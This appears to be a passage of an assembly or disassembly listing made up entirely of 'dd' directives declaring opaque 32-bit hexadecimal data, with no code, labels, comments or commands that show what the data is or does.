		dd 0E4A8026Dh, 995A1A20h, 2F0D2090h, 8446390Ah,	8ABD1851h
		dd 14D8E612h, 201C58B0h, 0AD3F8C09h, 5A228029h,	59E6D61Fh
		dd 307956A9h, 54EE4A50h, 4D1C4Fh, 7A21ADDFh, 994842B1h
		dd 0C58C2E72h, 30786470h, 9240ED64h, 86BA210Eh,	0A7DA81B0h
		dd 384CD8E5h, 1CBA5349h, 7A128D0Ah, 0E3DCC230h,	0C78A2D38h
		dd 50BE9A58h, 0CA0CD958h, 9059CADh, 202003E6h, 82AE5BCDh
		dd 4D366830h, 34005AEEh, 636DC843h, 573A20E6h, 0C504B415h
		dd 23FBB71Eh, 0D301A32h
		dd 443B9820h, 8AE35805h, 18404FF5h, 4860AFADh, 65340A39h
		dd 80B87953h, 16C155DAh, 0C08E35BAh, 69DB4778h,	84102Bh
		dd 5508674Dh, 17FF1B99h, 0E031DA31h, 0E052145Ah, 11C0BBA6h
		dd 0C0562B90h, 0E6B9FCEDh, 0BAD33A79h, 0E4155076h, 0AF2331FAh
		dd 20AA7DD8h, 0A0DD6624h, 5079A908h, 656B927h, 0B68D148Ch
		dd 8C1929D4h, 999013C2h, 7F42D18h, 0C5D93055h, 64C71990h
		dd 17595318h, 3CF39998h, 0FC3145F2h, 4725D908h,	10F0E6BCh
		dd 0BE6CB93Ch, 3CE22969h, 2B07A86Ch, 0A46A27h, 15560DCDh
		dd 78C5F35Ah, 0A80A81F9h, 7984883Ah, 181DB0E0h,	0C86E80F3h
		dd 0C4B02253h, 6B228C33h, 50806D00h, 14190369h,	0FB95366h
		dd 26F9A809h, 0CD64068Ch, 0B1B4A558h, 9F87FB0h,	890D5181h
		dd 0EC99E555h, 394845F4h, 888A654h, 500343BBh, 0CC9FAD60h
		dd 0B9FA1317h, 84583966h, 69F58770h, 71D74D60h,	0CA781752h
		dd 0EDC03483h, 0AA550910h, 1884FC0h, 56BE0DBCh,	10843408h
		dd 3954B700h, 9A16C0B8h, 22362462h, 84A85BACh, 2F260E2Ah
		dd 520A8819h, 985350EAh, 605775DEh, 0F4AD2837h,	5A1417EDh
		dd 0E09CF322h, 308FFA9Dh, 4D3021EBh, 6B041557h,	69239279h
		dd 0A408602Ch, 26AC93Bh, 53ABA3EDh, 9F0CE496h, 891746AEh
		dd 5A073C8Dh, 117E2857h, 17EE8FB1h, 4109972Dh, 40894B9h
		dd 10B63E0Dh, 5A6090CFh, 7A1D4054h, 3A00558Ch, 0E2086DB2h
		dd 977B0003h, 86A72B78h, 2300D0EFh, 898A17D4h, 3D2FA46h
		dd 9A3A54E1h, 83C152E6h, 20B8CBFEh, 20A813A5h, 54004B3Bh
		dd 0D31C9E2Fh, 0C88CDB7h, 5A03BA46h, 40DED770h,	48E7330Dh
		dd 0E82098F2h, 0C8361010h, 0EED705A8h, 14705392h, 2023C0C3h
		dd 7719DC19h, 1D6059E4h, 801868A3h, 0C2605EAAh,	0D4792546h
		dd 0FB06448h, 535DF33Ah, 406F5C05h, 6B3F6870h, 2D513149h
		dd 7E3738h, 0A55B2CDAh,	73910318h, 69185F87h, 7A60DF57h
		dd 614A61Ch, 0E1E64104h, 0F714C0A9h, 8010C1C0h,	0A0324C09h
		dd 1C7E83Dh, 536C7C17h,	0D26D247Ah, 2C06DC96h, 32BBBFEFh
		dd 82B73230h, 84945A28h, 88649A04h, 0D704455Dh,	70088412h
		dd 0DA14DB50h, 77C96C63h, 5A280350h, 34AC17BDh,	0FCF851A0h
		dd 0A2494C00h, 0ED96F178h, 74CD00EAh, 7138DF6Bh, 5B3CFF61h
		dd 91F0F3Bh, 0FC1F1D65h, 0A17F6E80h, 155F1BD4h,	28A96484h
		dd 32CF4800h, 0E87EEC7Dh, 5CACCA03h, 1545F6Ch, 8F98BF48h
		dd 80B0FF6Eh, 4BC89F40h, 0A624DF68h, 0B42064Ch,	48B3DA7Ch
		dd 0D87AAA02h, 988EBF6Ch, 10DDA838h, 107E2E0h, 61137F8Ah
		dd 68A3949Fh, 0AA768150h, 29EC79h, 57526Ah, 0BF59BE8Fh
		dd 0F88481D2h, 0C118AB54h, 4F628000h, 4AEEAF97h, 0A09E80FEh
		dd 0A680E543h, 92A82D79h, 2AED9708h, 542C8DBCh,	1BB3E068h
		dd 70664AEh, 0E703E088h, 2B0A7F68h, 83606C5Fh, 94463820h
		dd 0EA0060DEh, 0DF624EC8h, 0AE6B7710h, 0DCD50518h, 2FFF05Ah
		dd 25C5CAF0h, 7A8B880h,	9F0F7F6Dh, 8C3F6A10h, 74D01824h
		dd 63C2F0BAh, 2BF9584Dh, 8A360804h, 208A7F6Ch, 7A865803h
		dd 90188CECh, 9F500BAAh, 0C0BC601Ch, 0BF68A8D5h, 620730F4h
		dd 6DE43A3Fh, 0C12D7743h, 88C5A1Fh, 7F205EBFh, 6D375600h
		dd 1BA6AFDFh, 4426481Fh, 122A9F0Eh, 401D019Fh, 57D97F5Fh
		dd 813C07F4h, 0F33DA3FFh, 803EEDC1h, 63458A10h,	9048C8DFh
		dd 4C653764h, 0C19B8560h, 946688A2h, 0C7682818h, 0D8F2015Bh
		dd 0C98A0014h, 0DF006C62h, 0BF6D0519h, 306182A0h, 0C4C1455Fh
		dd 72D81BA5h, 18447081h, 8553F6Ch, 4091911Fh, 6EC34940h
		dd 0D35C882Bh, 546494A0h, 27F6914h, 29BF0CD0h, 10478C0h
		dd 47DE8FFBh, 0C9FF6D34h, 0E188B787h, 6C2A614Fh, 0DC21059Fh
		dd 6D094D2h, 5C1ED216h,	4A2070B7h, 0F3BF193Ch, 9DD7A8FAh
		dd 0ACA8C761h, 625AA315h, 1C19C024h, 909B8081h,	522A2850h
		dd 341F10F4h, 421E02E8h, 402E7F68h, 0A0253F2Ch,	0C6CFFF9Ch
		dd 0D880BF28h, 78C07AF8h, 6E996B7Fh, 30D9269Fh,	0EA030930h
		dd 0EBE19400h, 56315F69h, 0FBD600Ch, 0C102DFD0h, 8A55EA8h
		dd 0BE82F169h, 98EE0E20h, 2617836Eh, 0B910E168h, 61095FD0h
		dd 0A364780Eh, 3EADE06Dh, 0C228B1B8h, 9360FC73h, 902060F9h
		dd 0BE59317Eh, 0E11FD8C8h, 8FA8E55Eh, 1C1E9350h, 0FF587C98h
		dd 18A9643Fh, 0DF949117h, 270898C4h, 666F3E38h,	89210C5h
		dd 20C1BF31h, 888E899Fh, 62C1FE1Fh, 3081E1FFh, 9D4884A8h
		dd 0B7680F8Ch, 51690460h, 2985B880h, 78D3F163h,	0C3EF2630h
		dd 0C0501898h, 2848E6BFh, 0F48B0900h, 0A75E8469h, 534E9881h
		dd 186F9043h, 68B6FF18h, 0C083AEBFh, 0F06EB0E7h, 0FB19C44Ah
		dd 715F828Ah, 63E16443h, 0FEF031E2h, 835B8A6h, 0B311FE12h
		dd 0D5BB7007h, 0F2433F41h, 0A02E2020h, 0A02BFF84h, 74987E80h
		dd 719E071Ch, 0D59F6D36h, 0A1880C8Bh, 0D241F40h, 0FD0B14AFh
		dd 72040E20h, 7749FC1Fh, 6F700486h, 987FAC80h, 0C020C56Bh
		dd 33E00C35h, 0C0DE4EF9h, 0AC4A9113h, 229898AAh, 0A0A4C1B9h
		dd 0A1A2A94h, 44F1FE90h, 0AC9A0CA4h, 9777DA8h, 78C67F24h
		dd 4C95BF04h, 3AA8470Ah, 102BE618h, 98A34F68h, 0F84064EAh
		dd 88A25506h, 2602B045h, 486DA4FAh, 48420AE8h, 0A5128006h
		dd 0B3500911h, 225F7002h, 0D2A35043h, 729F0813h, 98132C4Ah
		dd 25F91E06h, 81D6218h,	1F02045Fh, 1EAC8192h, 18982757h
		dd 0E89E1095h, 0CCCE950h, 0C61210DDh, 0E7DF5003h, 7B8012Ch
		dd 0A05F633Ah, 0F43FD039h, 5EF00090h, 7F246098h, 0CF942C3Ch
		dd 0A51F0CACh, 48773029h, 0AF3244B6h, 0FF025121h, 84908EDAh
		dd 0A0C2885Fh, 0E9B48E7Fh, 69340F70h, 6F2C269Eh, 0C784FE68h
		dd 0DCFE3F28h, 0B8503990h, 0B164B6B8h, 2C876C28h, 0F8C72DE4h
		dd 141F12CEh, 0C8055412h, 0FC46AF3Eh, 310834C4h, 4128364Ah
		dd 7D2820B0h, 876584A8h, 2F581092h, 80482824h, 0A049C8A2h
		dd 291C2453h, 0E4907090h, 1BDC944Ch, 0B1D881B5h, 0C8626B32h
		dd 9422DAC0h, 0ECA0B949h, 6D66A2EAh, 90B0B5A0h,	3B1CA278h
		dd 0E40BB81Ch, 0CABB4013h, 1F0820E5h, 854AD58h,	3F3FFEBFh
		dd 404CDCD8h, 0E4E9B4B0h, 7CBA25FEh, 3F3C60F9h,	0C034905Dh
		dd 0CAC2A0Eh, 7C7F5C96h, 604BF12h, 0A87046B8h, 7BBCDE5Ch
		dd 0B38A648h, 4CB187Fh,	0B8D2C214h, 73712E98h, 31586158h
		dd 3BDE184Ah, 90CA4424h, 0A71E0234h, 0F7DF6B2Eh, 0CADE8861h
		dd 8D1F4840h, 6E5ED8A0h, 28B80D4Ch, 0BE4DCCB9h,	549F1480h
		dd 73767CB8h, 24C3F9E9h, 809AD228h, 329C0120h, 0F6209EC5h
		dd 8EDFE082h, 21128069h, 52E43158h, 0E8A549ECh,	341CD24Fh
		dd 2BC23443h, 44138069h, 7CCCC2F4h, 48A3F842h, 487897BFh
		dd 84683569h, 7CC2240Ch, 7F34E0E6h, 0EC23505Eh,	194C9068h
		dd 40A8753Eh, 3F088473h, 10C260E3h, 0C504C9BEh,	98DFF034h
		dd 4C42F888h, 0D72470D6h, 0B973D5Ch, 0D3500911h, 6C8B5C0Fh
		dd 0C7861C0Fh, 65591037h, 4C63265Ch, 44448496h,	6C821DDDh
		dd 6FA0697Ah, 413F088Bh, 19FF9C81h, 0F6408B87h,	785805F1h
		dd 583F04C1h, 8FED8452h, 90AD0480h, 0E17D94C1h,	6291B460h
		dd 8C52106Bh, 30659461h, 0FD321F98h, 0E88888B0h, 173DE3B8h
		dd 1FC09F1Eh, 0C913A4h,	0A055FFA0h, 437CAAE7h, 601E4C90h
		dd 1B0FEED5h, 0B52A002Fh, 31EAF6FEh, 5C203641h,	856AE0C8h
		dd 7F9EE3Ah, 0EAF2491Dh
		dd 2AEDDC90h, 0EFF40630h, 10A7978Ah, 0F3D96306h, 0F038D44Ah
		dd 17D7780Dh, 643CD6Ah,	10D6A894h, 36850800h, 5FDEDD41h
		dd 0B8E05E2Bh, 4810E49h, 0DB06270h, 2810A031h, 7EC586h
		dd 616F3BE0h, 0AAF09DB4h, 0F3A1B601h, 0F660012Ah, 0DFA2C5Ch
		dd 0AD9B4F1Ah, 0FBF138h, 0E86AE70Ah, 24CE068Ah,	0B05BCAF6h
		dd 41094A0Ah, 0A7812030h, 0E6138287h, 0DCE02102h, 4F2E0AF3h
		dd 100CC440h, 3E0E7826h, 7414E911h, 2A804084h, 6931D371h
		dd 40480180h, 94604A0Bh, 0EDFD82B8h, 0CB29288Ah, 207153A0h
		dd 5A6B3506h, 1EE8C1E1h, 0C17440D1h, 0ED83EBC7h, 13C1698Ah
		dd 60A0088h, 326AF4E4h,	2A18E674h, 3D78BFA4h, 4AED07C9h
		dd 4FF26192h, 18846E4Ah, 0E26A0864h, 0BAF46250h, 0D3408FFBh
		dd 4A1E9E6Dh, 1AAA0EFCh, 2D0CBF7Ch, 0C550849h, 0BD0AEEE1h
		dd 711C8A18h, 0A94EEAFAh, 920C9EFBh, 0FB0DE059h, 48511F20h
		dd 0E31844D3h, 0A94618DDh, 1FD990C0h, 0AE158AF5h, 779100C4h
		dd 4FEB1E2Dh, 9530A174h, 78ED409Eh, 0FCBCE8F2h,	2DEA20F5h
		dd 0E960D9F8h, 0F0B13AA8h, 0ACDE57CAh, 2D6E7102h, 8100BC58h
		dd 0AE90892h, 0F3E1834Ah, 21AF5BE4h, 6796E7h, 563A5C61h
		dd 85002CEFh, 0EC53E80Dh, 8F07AA7Eh, 9D1EE52h, 9BEB9AC0h
		dd 4FC41E03h, 843F0F10h, 7F736340h, 0ED039578h,	0D983A67Dh
		dd 1AFC1DFh, 0BF72409Fh, 1C51093h, 0D2250964h, 2F184833h
		dd 9C9AF308h, 171200FCh, 5A51441h, 38D03E77h, 0EC89C718h
		dd 53F162h, 9A9FE232h, 0A8C5E0F8h, 183024E5h, 0EDA2CABCh
		dd 0CBD2D181h, 0D0039A9Eh, 65001435h, 45104DF0h, 1C15C364h
		dd 0BEF31225h, 0E85A6576h, 242830CBh, 0C860F192h, 0D264F2B1h
		dd 53653009h, 369E8550h, 0E33045E8h, 3FD490CEh,	3E2CF012h
		dd 5D1E15BAh, 632503FFh, 13A00FA9h, 0C57D09C6h,	0A39A9D0Ch
		dd 60A528ABh, 2F63A82Dh, 7DF0104Eh, 0E4E508C3h,	83A801B6h
		dd 9FC51321h, 8485D023h, 94E510C3h, 61180A10h, 30D4122Eh
		dd 81FA520h, 0CE6F05F8h, 0F18E0C08h, 0B4E751DAh, 2A051187h
		dd 0D08C8EE6h, 4616518h, 0E4BD8508h, 0C8CF103h,	0C21F6107h
		dd 4C562520h, 48AA484h,	1481C5E5h, 0B047B905h, 0E7B0A983h
		dd 37208CB6h, 0C650D7A5h, 851438FFh, 1990C21Bh,	0B920C1ADh
		dd 2A1428BEh, 0A730805Bh, 67E4C578h, 503990Ah, 9212B43Bh
		dd 8E852C06h, 62833118h, 99E55349h, 0F5111F98h,	0A0853087h
		dd 0B8C54130h, 0D8088341h, 0EA439965h, 6BE483D9h, 7C103B64h
		dd 0FCA39C85h, 39B00620h, 3733886Fh, 0C452D859h, 4510250Ch
		dd 6508E967h, 9409B2EEh, 66980E63h, 61285715h, 3CC53099h
		dd 2E588018h, 5DE39BEAh, 9250C96Dh, 2853C01h, 72808C5Fh
		dd 0CF6085Ch, 9251061h,	476A4520h, 7B587450h, 0E1FDB062h
		dd 20924C20h, 0D0A5D12Ah, 57806A1Dh, 922D27C8h,	58B348B2h
		dd 0C7C07452h, 2E011AD6h, 0C95228C2h, 7B047D2h,	44A8B737h
		dd 0BB7202FDh, 30AC413Ah, 1870B844h, 2016341Fh,	1224D6BCh
		dd 0C50478B1h, 4817246h, 0F0415DDAh, 0AC436CD1h, 240922EEh
		dd 2848AE32h, 250C400Ah, 5C08D4EDh, 0C6C0E24h, 29080C92h
		dd 73403882h, 0A28E22FAh, 0C4623224h, 0BB616506h, 0D0994888h
		dd 280C2874h, 0D39D28B4h, 0EC1950A4h, 0C0A450A3h, 0A26902A5h
		dd 5A48C39Ah, 4E04C89Ch, 0FCBC893Dh, 120AD20Ch,	0B932A512h
		dd 71F6EC0Ch, 4568CFA9h, 56484F6Ch, 3310C90h, 1C5108Bh
		dd 8F04F852h, 8AE00680h, 6E173440h, 0A93C60F8h,	4854C6DAh
		dd 0FC48F2F0h, 15047B4h, 0E69A67F7h, 1820B2D9h,	0F820AC4h
		dd 4C8B3C5h, 823DD305h,	30682FA0h, 0F8C64B0Ch, 6EB06F21h
		dd 0A4849865h, 0FEBC815Eh, 80983362h, 0B1C1665h, 293892A5h
		dd 4348E5C4h, 1C9128AFh, 0E03C64FEh, 1200B94Ch,	7C052F89h
		dd 0B806B824h, 320893ACh, 2248F38Eh, 4465B442h,	4EF62583h
		dd 72E11843h, 9EC5D06Eh, 0F0E83098h, 81A06153h,	9CDBD6AEh
		dd 3A12898Ch, 0D314538h, 540E703Fh, 3E87388Ah, 12023D4h
		dd 0EC7F367Ah, 327896D8h, 0C436028h, 0E25B56E4h, 8959D220h
		dd 55101400h, 646C29A8h, 718D6783h, 0F2511880h,	26453087h
		dd 0FC817CA5h, 0C8BA360Bh, 28DF0435h, 9E432B9h,	1049D165h
		dd 4F0E0C96h, 3821973Ch, 0B0C2B238h, 440314ACh,	63A34C59h
		dd 48C13AF1h, 30C271D8h, 475450C3h, 8BBC0004h, 0A92A6F38h
		dd 3FF6C8A0h, 83C27481h, 24EA2DF4h, 157418D0h, 648138A5h
		dd 8804CDA0h, 2C621241h, 0CD9F5828h, 0C0DE0329h, 0AC025916h
		dd 40E951E3h, 0A76E1FC0h, 0CF4B0280h, 0D22023D7h, 91122CFBh
		dd 13476710h, 8914522Eh, 47AC01F2h, 0E4280214h,	0A56E893Ah
		dd 688458C4h, 4538C2Ch,	403211B7h, 3890822Ch, 0BF0588C0h
		dd 4180EA6Fh, 0B65A8C49h, 0CBBA0880h, 0EE27F0C4h, 1B1F1E00h
		dd 0DCD3ED14h, 0ACD0141h, 88548BF6h, 3011C7DBh,	0F8C1259Ah
		dd 10D999C2h, 0F74716h,	7A7B9B88h, 206D3A8Ch, 510AF143h
		dd 7F32E19h, 80B60ACEh,	3EDB8910h, 7B88EF15h, 53BF8030h
		dd 0C52890B9h, 3076D630h, 0EC20E610h, 538B9D0Fh, 93C6E70Ah
		dd 0FA5CBA10h, 3A3B1D88h, 7CFB03F5h, 0E2A1890Eh, 8B06018Ah
		dd 0FC77089Dh, 266C3B80h, 25A47A91h, 2C745CE9h,	73E3F418h
		dd 0D83496B9h, 489A4959h, 0F83D61C7h, 0AA7B1BC1h, 66431AF0h
		dd 587ED8EAh, 2739FA1Ah, 3D303068h, 40DE0058h, 360A4BD3h
		dd 58C8B9FAh, 7C5B154Dh, 532D0292h, 0BC83E9FDh,	9019CF56h
		dd 3B0876BBh, 1A02BC4Ah, 4482928Dh, 591ECA5h, 3074FA84h
		dd 8C0D5F14h, 0A8BB7D28h, 0E0A71631h, 5890313Ah, 0E6DCA0DBh
		dd 0BC453116h, 0BEAAB630h, 83CC23B0h, 2A48E957h, 0D628E0BEh
		dd 0FB56FC16h, 0AA491F40h, 0DBDFA08h, 1C28EB76h, 4218323Ch
		dd 9651A1E8h, 93BC2466h, 63A15838h, 8654A376h, 0A8A7A9ACh
		dd 0F74E8680h, 81CE04B8h, 90F8A9D6h, 2F96E460h,	0F629C563h
		dd 1AE80AE5h, 6474C678h, 0A48D0A2Ah, 2B4C7048h,	890E50DAh
		dd 7714C404h, 61F2B601h, 873C5C91h, 0E1B0293Bh,	0D52D651h
		dd 1FCAB443h, 0C22DBB08h, 15A09B8Ah, 0D9824C40h, 406A1BF0h
		dd 30580808h, 0CD361862h, 0D076789Bh, 0A0915929h, 688E3661h
		dd 7C9084E7h, 0A58A84E3h, 8ACA9DF0h, 4EB4BFA1h,	0F0841032h
		dd 687802B0h, 28351D31h, 0C0219E56h, 5306FC4Bh,	514F239Ch
		dd 0BCCEF612h, 184D5838h, 297BA4C1h, 0DD620F16h, 94BD8DF0h
		dd 36C0B52Ch, 0B8A8FD37h, 9C9017CDh, 0F7766009h, 0C0C14C0h
		dd 6DD40CBEh, 0A54CD6B1h, 0B11A0AA2h, 0D421BC03h, 81DAD643h
		dd 0AC509C0Ch, 0AE920693h, 14BA3B5Ch, 9629E1B1h, 2B103447h
		dd 40A9A81h, 0D3449E0Ch, 693640D1h, 673C58A9h, 0D188F3B6h
		dd 0CD562904h, 3C8B91FEh, 0E71D940Eh, 0F6AC40B3h, 0CCA0FD0Ch
		dd 3F140900h, 1116F21Ah, 681C00ACh, 0B3E43AEh, 26059520h
		dd 0D0CA2BBh, 7E01430h,	0CB9102E6h, 0C352006h, 0DDA61098h
		dd 0CA5CFC12h, 0C01F5B1Eh, 0EE4CA080h, 1DA3548Ch, 1A5728F2h
		dd 4361011h, 0C4A28103h, 0E8D76E9Ah, 138B996h, 99406B19h
		dd 0CC65F9CAh, 440C7303h, 3892E0ABh, 0D22C07F1h, 7056C0A0h
		dd 0F04EF9DCh, 6509B100h, 1A386D29h, 18C6000Dh,	5101DB21h
		dd 99006BAFh, 0C04B07F9h, 0ED0E6Ch, 29678DBBh, 1677FAA4h
		dd 19302100h, 1B359D8h,	786D0E2Ah, 0CD60C962h, 793AD36Ch
		dd 7345150Eh, 0BF1E864Ch
		dd 2C800020h, 83F7B196h, 0CE1D389Dh, 11817584h,	755CB39h
		dd 9BF8F0h, 54A02032h, 519D4A2Eh, 0E5275603h, 73B471A2h
		dd 5D6CC089h, 0C7351706h, 386FEC1Dh, 2968B218h,	0CE630046h
		dd 8B11A26Bh, 9F00485Dh, 73EC05Ch, 0E45ECBA0h, 7DEA00FCh
		dd 0A3ECB7E2h, 2900F957h, 0CA5B28Ch, 3A2E7EDCh,	39DC917h
		dd 6B3103BFh, 8109C7B3h, 8013118Ch, 9E14B224h, 0AFE94802h
		dd 0B054738h, 420C167Ah, 29F4C890h, 7ECD7110h, 4C7321A3h
		dd 0CD6F6960h, 77F749Dh, 0B3639EAAh, 9B6C9ED4h,	4500BBA1h
		dd 70223BC4h, 1A396E8h,	0ACFA3237h, 408894E3h, 14D1DA94h
		dd 3093C088h, 3EE8E215h, 77018572h, 735ACE53h, 188FE357h
		dd 50A5563Dh, 82E4400Eh, 8A7FF202h, 0AC614706h,	63086F95h
		dd 5C55C987h, 0EFC0A582h, 2132F224h, 80ECE157h,	92FEE13Ch
		dd 0B8DD01A1h, 0AC74C2BBh, 0FF409E68h, 9A40555Eh, 10098D2Fh
		dd 8CB63DE0h, 5675E063h, 0B6D080Fh, 82D89479h, 4CC5E523h
		dd 0CE660400h, 38694002h, 0E757Fh, 4349F8B7h, 5E9C5893h
		dd 8D0B0500h, 0BBDEEDE4h, 0ABA400B4h, 50AF3F94h, 0DA09A28Ch
		dd 0C8A53Eh, 30B53A78h,	51EB12CAh, 1B670049h, 921A564Eh
		dd 0E5EFF60Eh, 14FB0040h, 848DA7h, 0D0B334FFh, 0B9E8E76h
		dd 3C051AF8h, 12F192D8h, 4165CB00h, 146DB378h, 0BA1E5A58h
		dd 5618D93Ah, 338200Ch,	0D3887800h, 0E46E4D5Ch,	57FD00C4h
		dd 0AD50ABCEh, 0A2004694h, 12FCF6A5h, 1C1316C9h, 8096FAE5h
		dd 38214AC3h, 31065A3Bh, 85D839D5h, 0C4D40078h,	0A743A9EFh
		dd 0F300504Ch, 2ECEC599h, 0C0F5AED6h, 0FE26C4C1h, 0AD004AB3h
		dd 0DFE2F3F9h, 10D1B93Fh, 1C131473h, 840B285h, 0DBA2F1A7h
		dd 0FB291DF2h, 35DD0CBEh, 0E6012B20h, 0DED173Fh, 9730A148h
		dd 15D0FE98h, 985B8051h, 9D2BB500h, 0D1BD08BAh,	40F6A80Ah
		dd 0A8068EBh, 0C468FFF0h, 103942CEh, 0B001822Bh, 0FBD1EF88h
		dd 580FC810h, 0C1090FB0h, 7D5CAFB7h, 58B8A706h,	0C1E49485h
		dd 0F991A760h, 9ED27A05h, 2580EE83h, 624AA458h,	13EA59E1h
		dd 3FF98898h, 0FA21C47Dh, 0D1A788BEh, 3FE75200h, 0FED4A77h
		dd 484D1096h, 806A76C0h, 0D0034294h, 0C254BBC7h, 12BA28D1h
		dd 3A3FE02Ch, 0B4D6B48Bh, 6559C072h, 436008A4h,	0E9F27DF6h
		dd 0EBF50A02h, 83C8FD22h, 0C1EFA878h, 0E8A03468h, 0A4265478h
		dd 0F13D039Ah, 51358515h, 0FB2AAFF8h, 39154BF2h, 709C278Ch
		dd 8664FF00h, 0E882CCE9h, 46C800F4h, 0C689AF0Eh, 573C177Ah
		dd 0A32B8D80h, 0CB072882h, 0CDC8DCF1h, 0B5411187h, 0CC49D07Ch
		dd 4E1D545Eh, 6A18DDC4h, 1771421h, 0FDCF37Ch, 0F0F2FECBh
		dd 0E5B04DB3h, 80354033h, 976ED809h, 33060624h,	817691Ch
		dd 61104504h, 69C00F86h, 0EAD5F65Eh, 0D697003Ah, 0A7C73F74h
		dd 75003B11h, 0D2654A95h, 1F625F3Ch, 0FCCACD0Fh, 809D02F2h
		dd 5A04441Ah, 0C30E683h, 872C388h, 90FF2A30h, 766BA1h
		dd 0F970493Ch, 2BA7134Dh, 0BF561C26h, 55515A00h, 215E9C9h
		dd 0B027DA5Ch, 60937E4Dh, 0BC5B8DB0h, 912EC121h, 0B6FB00EDh
		dd 6D15B073h, 3D3C0092h, 6C80CD14h, 5400F279h, 126AACD5h
		dd 2BF64A10h, 0B002AFh,	4B6B8E97h, 4586DA3Ch, 7CEEE844h
		dd 9D944F00h, 3E722A0Fh, 8C630014h, 0C058395Fh,	4D29B58Bh
		dd 210158A1h, 0BF92BA73h, 0D2880819h, 138DCB00h, 9B50119Eh
		dd 0D0D90046h, 0A454151Fh, 0FD014A21h, 2237E8A3h, 0FACDC174h
		dd 7B71CDCh, 845BB293h,	8036620h, 9041D300h, 23727764h
		dd 4491019Bh, 0AE5E170Fh, 41CAF0E1h, 13395A07h,	0CD67E709h
		dd 0D786B080h, 72CB0250h, 6310DB9Ch, 31EA06h, 0AADC2EB6h
		dd 0C19A2973h, 448EE503h, 85624Eh, 0F15E9040h, 3BC38C97h
		dd 7C134707h, 8308E2Bh,	3B7D532h, 0A9685F3Eh, 0A10036BCh
		dd 1F3550AAh, 0A981FBB4h, 43100F60h, 0E11C2329h, 0E443407Bh
		dd 7F09ACh, 47EB89B1h, 8F19A376h, 82B08AF2h, 0BC5F400Dh
		dd 0EAEC405Bh, 30917811h, 7850473Fh, 3000238h, 6A3CF343h
		dd 7FD3BDB6h, 8E9500B2h, 32B48D5Bh, 755CAEA3h, 909D1FE9h
		dd 0E911A9C7h, 42B63C50h, 5C7C007Dh, 46799FB4h,	26FAF806h
		dd 0D1F05602h, 40FAB578h, 33368A77h, 92080131h,	0D5712100h
		dd 0F1315AEh, 847900DBh, 8A25EBA6h, 0FF0170CAh,	0B72140E1h
		dd 0C5CC3254h, 3BE7E88h, 2FD7FB46h, 493DDD84h, 3C6B2973h
		dd 18FB230h, 3C6C54E9h,	0BC9D40BEh, 9EB55106h, 1042E1h
		dd 0DF2D86B1h, 0D01B52EFh, 0BEA1903Dh, 0F77D03DEh, 26EA5553h
		dd 30429180h, 0EF429D18h, 900608C0h, 0C3FDF22Fh, 0A7465119h
		dd 6D80695Fh, 0ECF5E3h,	19522C96h, 0BB9102C6h, 0F4DFE603h
		dd 0B8595DCAh, 3015F7E7h, 50F05B6Fh, 0C501AA42h, 0DEC07F13h
		dd 88884C4Eh, 3D01EEE5h, 0B805FBD8h, 2D8BFD40h,	3F18C335h
		dd 9ED8B06Ah, 8A08E8AEh, 0AA9165h, 0FABF72Ah, 0AC0BB3E9h
		dd 10EA8C2h, 0D05698A8h, 6657A9ECh, 96F8958h, 56D03863h
		dd 85A8F0B0h, 0F24C0094h, 754EA18Eh, 21017150h,	64075D8Bh
		dd 60C8024Dh, 72F50DFCh, 0F0786599h, 2E00DB18h,	7F50581Ah
		dd 602F29E7h, 5A5959F0h, 0C148E667h, 0A66800F8h, 0A8314C5Ch
		dd 0FA451F0Dh, 43A006C8h, 0D4383002h, 9B6600A2h, 0C1BBCC7Fh
		dd 1A6E0380h, 9FF25978h, 0CD9BC0EDh, 45007987h,	61C7EA5Dh
		dd 8681B9h, 8A06558Eh, 1F5096C6h, 2C524524h, 2543DCC0h
		dd 802091E6h, 364DAEA1h, 208697D9h, 9A007D2Ch, 87D4B577h
		dd 36EE550h, 1BCD69E2h,	0F8079D55h, 84226693h, 328511Ch
		dd 8F4A9BD1h, 42B5D5FCh, 5DC2AA80h, 0D3ECC490h,	0A8084400h
		dd 4D4BB14Ah, 48593A72h, 0FE530A00h, 0E29E8AECh, 2A6EE800h
		dd 65A868CEh, 467377h, 5A476A52h, 0C532D9E0h, 35081D1Eh
		dd 9BFB3307h, 2C38B8A0h, 0A2590088h, 8CE8E11Eh,	58C0F3ECh
		dd 3AF8FC4Ch, 79500352h, 77F9CDABh, 210FD3A3h, 0A1F8F48Fh
		dd 0DB19BF0h, 221C75F4h, 50C8951Fh, 0F8F9C043h,	77E615BDh
		dd 0F5AC8F85h, 0C73A32A1h, 0D48EF56Ah, 4A1C6263h, 1A0CBDE0h
		dd 2228E1h, 7212EC82h, 77DAD498h, 73300BF2h, 4F749E9h
		dd 471E05F1h, 11B860E4h, 0FF0440h, 54D731FBh, 3F2101h
		dd 0D0593971h, 0DE64BA2Fh, 19BC950Ch, 7DB30F8h,	530514A6h
		dd 47F487ABh, 609C7C8h,	348D18C9h, 0F9380685h, 72074C2Ah
		dd 0C006EEEDh, 7F8669DEh, 9B7A400h, 319E495Bh, 18AD62B1h
		dd 0DE11F999h, 81A257C4h, 7A185223h, 84874318h,	4DD0221h
		dd 45BEFE48h, 0C04D1E6h, 4A22A7F2h, 0DA5818A2h,	0C572E11h
		dd 5221A4B4h, 633C4230h, 443E24A5h, 22A51F0Ch, 424A776h
		dd 689A4448h, 65331DEDh, 6C00FAA6h, 81DDD4FBh, 0CA1ECCBh
		dd 86EF0C10h, 10127121h, 30BCC493h, 0F1189F22h,	83F4444Fh
		dd 6C023CA8h, 9FE70CA1h, 551EB431h, 3154A08h, 6AD903C8h
		dd 8FB91810h, 2AC84h, 3839982Ah, 0F3270175h, 232E294Fh
		dd 0CA03F8B0h, 4C877700h, 904E4002h, 0EE45167Dh, 12DD0016h
		dd 1A4FF29Ah, 10186A01h, 6DCA75F9h, 0CDD54081h,	0E3C9F307h
		dd 0E464D00Eh, 0A970196Eh, 7CCB6F70h, 50EE0BF8h, 0B10148CDh
		dd 0D49B98B4h, 11001823h, 0C4AB4C57h, 559EAh, 0A96120F5h
		dd 0DE998FDBh, 9085371Fh, 0D0DD26C0h, 48861A22h, 6400A4F7h
		dd 0E3CC9A8Bh, 5502DF99h, 258D61D7h, 1CBEF6h, 4B9840D9h
		dd 6DC6730h, 0A880AA60h
		dd 74899DC7h, 8565007Fh, 0F630D83Ch, 3036EC9h, 37D9C382h
		dd 0DB593B81h, 30E8DA9Eh, 7A34C680h, 62036607h,	54535A97h
		dd 10D96040h, 8DA4841Ah, 0C12750C0h, 5110E7D3h,	14038095h
